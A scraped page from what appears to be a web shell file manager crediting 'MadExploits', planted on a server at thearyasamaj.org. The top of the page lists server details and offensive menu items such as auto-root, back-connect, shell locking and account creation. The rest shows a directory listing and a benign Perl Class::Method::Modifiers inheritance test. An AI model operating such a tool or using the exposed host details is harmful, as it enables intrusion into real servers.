Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Class-Method-Modifiers /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
00-report-prereqs.dd
8.98
KB
-rw-r--r--
00-report-prereqs.t
5.57
KB
-rw-r--r--
000-load.t
310
B
-rw-r--r--
001-error.t
1010
B
-rw-r--r--
002-cache.t
2.02
KB
-rw-r--r--
003-basic.t
2.06
KB
-rw-r--r--
004-around.t
1.31
KB
-rw-r--r--
005-return.t
457
B
-rw-r--r--
010-before-args.t
687
B
-rw-r--r--
011-after-args.t
769
B
-rw-r--r--
012-around-args.t
731
B
-rw-r--r--
020-multiple-inheritance.t
3.54
KB
-rw-r--r--
030-multiple-before.t
629
B
-rw-r--r--
031-multiple-after.t
622
B
-rw-r--r--
032-multiple-around.t
859
B
-rw-r--r--
034-multiple-everything.t
1.33
KB
-rw-r--r--
035-multiple-everything-twice....
2.33
KB
-rw-r--r--
040-twice-orig.t
487
B
-rw-r--r--
041-modify-parent.t
978
B
-rw-r--r--
051-undef-list-ctxt.t
912
B
-rw-r--r--
060-caller.t
1.15
KB
-rw-r--r--
070-modify-multiple-at-once.t
967
B
-rw-r--r--
080-multiple-modifiers.t
1.56
KB
-rw-r--r--
081-sub-and-modifier.t
3.07
KB
-rw-r--r--
090-diamond.t
683
B
-rw-r--r--
100-class-mop-method-modifiers...
1.95
KB
-rw-r--r--
110-namespace-clean.t
1.61
KB
-rw-r--r--
120-fresh.t
2.43
KB
-rw-r--r--
130-clean-underscore.t
1.74
KB
-rw-r--r--
140-lvalue.t
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 020-multiple-inheritance.t
use strict; use warnings; use Test::More 0.88; use if $ENV{AUTHOR_TESTING}, 'Test::Warnings'; # inheritance tree looks like: # # SuperL SuperR # \ / # MiddleL MiddleR # \ / # -Child- # the Child and MiddleR modules use modifiers # Child will modify a method in SuperL (sl_c) # Child will modify a method in SuperR (sr_c) # Child will modify a method in SuperR already modified by MiddleR (sr_m_c) # SuperL and MiddleR will both have a method of the same name, doing different # things (called 'conflict' and 'cnf_mod') # every method and modifier will just return <Class:Method:STUFF> my $SuperL = SuperL->new(); my $SuperR = SuperR->new(); my $MiddleL = MiddleL->new(); my $MiddleR = MiddleR->new(); my $Child = Child->new(); is($SuperL->superl, "<SuperL:superl>", "SuperL loaded correctly"); is($SuperR->superr, "<SuperR:superr>", "SuperR loaded correctly"); is($MiddleL->middlel, "<MiddleL:middlel>", "MiddleL loaded correctly"); is($MiddleR->middler, "<MiddleR:middler>", "MiddleR loaded correctly"); is($Child->child, "<Child:child>", "Child loaded correctly"); is($SuperL->sl_c, "<SuperL:sl_c>", "SuperL->sl_c on SuperL"); is($Child->sl_c, "<Child:sl_c:<SuperL:sl_c>>", "SuperL->sl_c wrapped by Child's around"); is($SuperR->sr_c, "<SuperR:sr_c>", "SuperR->sr_c on SuperR"); is($Child->sr_c, "<Child:sr_c:<SuperR:sr_c>>", "SuperR->sr_c wrapped by Child's around"); is($SuperR->sr_m_c, "<SuperR:sr_m_c>", "SuperR->sr_m_c on SuperR"); is($MiddleR->sr_m_c, "<MiddleR:sr_m_c:<SuperR:sr_m_c>>", "SuperR->sr_m_c wrapped by MiddleR's around"); is($Child->sr_m_c, "<Child:sr_m_c:<MiddleR:sr_m_c:<SuperR:sr_m_c>>>", "MiddleR->sr_m_c's wrapping wrapped by Child's around"); is($SuperL->conflict, "<SuperL:conflict>", "SuperL->conflict on SuperL"); is($MiddleR->conflict, "<MiddleR:conflict>", "MiddleR->conflict on MiddleR"); is($Child->conflict, "<SuperL:conflict>", "SuperL->conflict on Child"); is($SuperL->cnf_mod, "<SuperL:cnf_mod>", "SuperL->cnf_mod on SuperL"); is($MiddleR->cnf_mod, "<MiddleR:cnf_mod>", "MiddleR->cnf_mod on MiddleR"); is($Child->cnf_mod, "<Child:cnf_mod:<SuperL:cnf_mod>>", "SuperL->cnf_mod wrapped by Child's around"); BEGIN { { package SuperL; sub new { bless {}, shift } sub superl { "<SuperL:superl>" } sub conflict { "<SuperL:conflict>" } sub cnf_mod { "<SuperL:cnf_mod>" } sub sl_c { "<SuperL:sl_c>" } } { package SuperR; sub new { bless {}, shift } sub superr { "<SuperR:superr>" } sub sr_c { "<SuperR:sr_c>" } sub sr_m_c { "<SuperR:sr_m_c>" } } { package MiddleL; our @ISA = 'SuperL'; sub middlel { "<MiddleL:middlel>" } } { package MiddleR; our @ISA = 'SuperR'; use Class::Method::Modifiers; sub middler { "<MiddleR:middler>" } sub conflict { "<MiddleR:conflict>" } sub cnf_mod { "<MiddleR:cnf_mod>" } around sr_m_c => sub { my $orig = shift; return "<MiddleR:sr_m_c:".$orig->(@_).">" }; } { package Child; our @ISA = ('MiddleL', 'MiddleR'); use Class::Method::Modifiers; sub child { "<Child:child>" } around cnf_mod => sub { "<Child:cnf_mod:".shift->(@_).">" }; around sl_c => sub { "<Child:sl_c:".shift->(@_).">" }; around sr_c => sub { "<Child:sr_c:".shift->(@_).">" }; around sr_m_c => sub { my $orig = shift; return "<Child:sr_m_c:".$orig->(@_).">" }; } } done_testing;
Close